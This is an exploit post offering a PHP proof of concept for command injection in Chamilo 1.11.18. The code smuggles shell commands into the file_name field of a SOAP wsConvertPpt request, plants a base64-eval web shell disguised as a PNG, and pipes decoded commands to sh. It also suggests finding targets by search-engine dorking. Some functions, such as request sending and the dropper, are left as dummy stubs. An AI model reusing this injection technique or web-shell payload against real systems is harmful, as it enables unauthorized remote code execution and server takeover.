Chamilo 1.11.18 Code Injection

=============================================================================================================================================| # Title     : Chamilo 1.11.18 Code Injection Vulnerability                                                                                || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.2 (64 bits)                                                            || # Vendor    : https://chamilo.org/en/2023/02/03/10-new-features-in-chamilo-1-11-18/                                                       |=============================================================================================================================================POC :[+] Dorking İn Google Or Other Search Enggine.[+] uses the CURL to Allow remote command .[+] Line 123 set your target .[+] save code as poc.php .[+] USage : cmd => c:\www\test\php poc.php [+] PayLoad :<?phpclass ChamiloExploit {    private $targetUri;    private $webshellName;    private $postParam;    public function __construct($targetUri, $webshell = null) {        $this->targetUri = rtrim($targetUri, '/');        $this->webshellName = $webshell ?: $this->generateRandomWebshellName();    }    private function generateRandomWebshellName() {        return bin2hex(random_bytes(8)) . '.php';    }    private function soapRequest($cmd) {        $pptSize = rand(720, 1440) . 'x' . rand(360, 720);        return <<<EOS<?xml version="1.0" encoding="UTF-8"?><SOAP-ENV:Envelope    xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"    xmlns:ns1="{$this->targetUri}"    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"    xmlns:xsd="http://www.w3.org/2001/XMLSchema"    xmlns:ns2="http://xml.apache.org/xml-soap"    xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"    SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">    <SOAP-ENV:Body>        <ns1:wsConvertPpt>            <param0 xsi:type="ns2:Map">                <item>                    <key xsi:type="xsd:string">file_data</key>                    <value xsi:type="xsd:string"></value>                </item>                <item>                    <key xsi:type="xsd:string">file_name</key>                    <value xsi:type="xsd:string">`{{}}`.pptx'|" |{$cmd}||a #</value>                </item>                <item>                    <key xsi:type="xsd:string">service_ppt2lp_size</key>                    <value xsi:type="xsd:string">{$pptSize}</value>                </item>            </param0>        </ns1:wsConvertPpt>    </SOAP-ENV:Body></SOAP-ENV:Envelope>EOS;    }    public function uploadWebshell() {        $this->postParam = bin2hex(random_bytes(4));        $phpPayload = "<?php @eval(base64_decode(\$_POST['{$this->postParam}']));?>";        $pngWebshell = $this->injectPhpPayloadPng($phpPayload);        if ($pngWebshell === null) {            return null;        }        $payload = base64_encode($pngWebshell);        $cmd = "echo {$payload}|openssl enc -a -d > ./{$this->webshellName}";        $response = $this->sendRequest('POST', "/main/webservices/additional_webservices.php", "text/xml; charset=utf-8", $this->soapRequest($cmd));        return $response;    }    private function injectPhpPayloadPng($phpPayload) {        // Implement your logic to inject PHP payload into a PNG image        // For demonstration purposes, we'll return a dummy PNG data        return pack('H*', '89504E470D0A1A0A...'); // Example PNG header    }    public function executePhp($cmd) {        $payload = base64_encode($cmd);        $response = $this->sendRequest('POST', "/main/inc/lib/ppt2png/{$this->webshellName}", "application/x-www-form-urlencoded", [$this->postParam => $payload]);        return $response;    }    public function executeCommand($cmd) {        $payload = base64_encode($cmd);        $cmd = "echo {$payload}|openssl enc -a -d|sh";        $response = $this->sendRequest('POST', "/main/webservices/additional_webservices.php", "text/xml; charset=utf-8", $this->soapRequest($cmd));        return $response;    }    public function check() {        $marker = bin2hex(random_bytes(4));        $res = $this->executeCommand("echo {$marker}");        if ($res && strpos($res, 'wsConvertPptResponse') !== false && strpos($res, $marker) !== false) {            return 'Vulnerable';        } else {            return 'Safe';        }    }    public function exploit($payload) {        switch ($payload['type']) {            case 'php':                $res = $this->uploadWebshell();                if (!$res || strpos($res, 'wsConvertPptResponse') === false) {                    throw new Exception('Web shell upload error.');                }                $this->executePhp($payload['encoded']);                break;            case 'unix_cmd':                $this->executeCommand($payload['encoded']);                break;            case 'linux_dropper':                // Implement Linux dropper logic                break;        }    }    private function sendRequest($method, $uri, $ctype, $data) {        // Implement your HTTP request logic here (using cURL or similar)        // For demonstration purposes, return a dummy response        return 'Dummy response';    }}// Usage$exploit = new ChamiloExploit('http://target.com', 'webshell.php');$exploit->check();Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================